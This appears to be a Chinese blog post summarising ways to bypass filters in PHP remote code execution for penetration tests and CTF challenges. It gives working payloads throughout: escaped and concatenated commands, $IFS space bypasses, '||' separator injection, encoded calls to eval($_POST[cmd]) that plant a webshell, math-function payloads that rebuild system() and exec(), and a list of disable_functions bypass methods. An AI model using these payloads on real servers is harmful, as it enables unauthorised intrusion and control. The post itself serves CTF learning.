干貨分享 | RCE常見的Bypass思路
一顆小胡椒2022-08-10 07:21:31
在滲透或者CTF中,總會有特殊函數被過濾,如'ls、cat、tac'。
防火墻將這些函數加入黑名單,我們需要找一些方法來代替,用fuzz給他們替換,就出現了BYpass思路。
這里總結了RCE常見的Bypass思路。
學習就是先走一回別人的老路,知識點到量才可以開創自己的新路。
一、RCE漏洞
遠程代碼執行漏洞,可以讓攻擊者直接向后臺服務器遠程注入操作系統命令或者代碼,從而控制后臺系統。
原理:服務器沒有對執行命令的函數進行過濾,導致命令被執行。
二、常見的命令執行函數
PHP代碼執行函數
eval() assert() preg_replace() create_function() call_user_func() file_get_contents():將整個文件讀入一個字符串 readfile():讀取文件并寫入到輸出緩沖 scandir():列出指定路徑中的文件和目錄 direname():給出一個包含有指向一個文件的全路徑的字符串,本函數返回去掉文件名后的目錄名 getcwd():取得當前工作目錄 chdir($directory):將 PHP 的當前目錄改為 directory get_defined_vars():獲取一個環境變量的值 phpversion():獲取當前的PHP版本 chr():返回指定的字符 rand():產生一個隨機整數 time():返回當前的 Unix 時間戳 localtime():取得本地時間 localtime(time()) 返回一個數組,Array [0] 為一個 0~60 之間的數字 hex2bin():轉換十六進制字符串為二進制字符串 ceil():進一法取整 sinh():雙曲正弦 cosh():雙曲余弦 tan():正切 floor():舍去法取整 sqrt():平方根 crypt():單向字符串散列hebrevc:將邏輯順序希伯來文(logical-Hebrew)轉換為視覺順序希伯來文(visual-Hebrew),并且轉換換行符 ord:返回字符串的第一個字符的 ASCII 碼
命令執行函數
eval()、system()、shell_exec()、popen()、proc_popen()、passthru()、pcntl_exec()
三、繞過方式
過濾關鍵字,如cat、more
1.替換法
使用同意思字符串代替
more:一頁一頁的顯示檔案內容 less:與 more 類似 head:查看頭幾行 tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示 tail:查看尾幾行 nl:顯示的時候,順便輸出行號 sort:可以查看
2.進行轉義
cat flag ->ca\t fl\ag cat flag -> ca"t flag cat flag -> ca't flag
3.進行拼接
a=fl;b=ag;cat$IFS$a$b
4.空變量$*和$@,$x,${x}繞過

5.反引號繞過
`command`
6.Base64編碼繞過

7.RE繞過

過濾命令執行函數,如system
1.借助其他的函數
echo system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() highlight_file() 反引號 同shell_exec()
2.URL編碼繞過
base64 hex oct

3.內斂繞過
echo `ls`; echo $(ls); ?><?=`ls`; ?><?=$(ls);
過濾文件讀取
繞過
curl file:///flag strings flag uniq -c flag bash -v flag rev flag
過濾空格
<> (cat<>flag)
%20(space)
%09(tab) (cat%09flag.php)
$IFS$9
${IFS}
$IFS
(cat,flag)
過濾目錄分隔符
1.多管道命令繞過
127.0.0.1||cat%20flag.php
過濾分隔符
; //分號 | //執行右邊命令 || //執行前面命令 & //都執行
IP進制繞過
ip地址過濾可將IP地址轉化為數字IP地址
IP地址用“點分十進制”表示,用“.”分成4部分;數字地址是一串用“十進制”表示的數字 比如:百度的IP地址“39.156.69.79”轉換成數字地址就是“664552783”。在瀏覽器中輸入664552783就可以訪問百度網站 轉化網址:http://www.msxindl.com/tools/ip/ip_num.asp
四、一些騷操作
RCE進行無數字字母繞過

echo urlencode(~'phpinfo').'<br />'; //得到%8F%97%8F%96%91%99%90 echo urlencode(~'assert').'<br />'; //得到%9E%8C%8C%9A%8D%8B //assert(); echo urlencode(~'(eval($_POST[cmd]))'); //得到%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6 ?> ?code=(~%8F%97%8F%96%91%99%90)(); //列出phpinfo ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); //上傳一句話馬
disable_function繞過總結
常規繞過:exec,shell_exec,system,passthru,popen,proc_open 利用環境變量LD_PRELOAD繞過(★):mail,imap_mail,error_log,mb_send_mail 利用pcntl_exec繞過利用imap_open函數任意命令執行(CVE-2018-19518) 利用系統組件window com繞過利用Apache+mod_cgi+.htaccess繞過 利用ImageMagick漏洞繞過利用PHP7.4的FFI繞過 利用 ShellShock繞過(CVE-2014-6271) 蟻劍插件
'數學'RCE
1.利用數學函數來運算得到函數名和命令,使用動態函數來執行命令
index.php?c=base_convert('37907361743',10,36)dechex('1598506324');($$pi){pi}(($$pi){abs})&pi=system&abs=<command>
hex2bin(_GET) -> base_convert('37907361743',10,36)dechex('1598506324'); dechex("1598506324")->5f474554
($$pi){pi}(($$pi){abs})&pi=system&abs=<command> -> ($_GET){pi}($_GET){abs} //{}可以代替[]
2.拼湊出getallheaders利用HeaderRCE
getallheaders — 獲取全部 HTTP 請求頭信息
/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
在HTTP請求的Header中直接添加命令即可
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中間用逗號隔開,echo都能輸出
echo xx,yy
3.拼湊出exec、system等命令執行函數直接RCE
/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//分析:exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
/index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//分析:system('cat'.dechex(16)^asinh^pi) => system('cat *')
4.異或
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}

/index.php?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /f*
參考
https://cloud.tencent.com/developer/article/1599149
https://xz.aliyun.com/t/8354
https://blog.csdn.net/xiaofengdada/article/details/122614693
聲明:本公眾號所分享內容僅用于網安愛好者之間的技術討論,禁止用于違法途徑,所有滲透都需獲取授權!否則需自行承擔,本公眾號及原作者不承擔相應的后果.
一顆小胡椒
暫無描述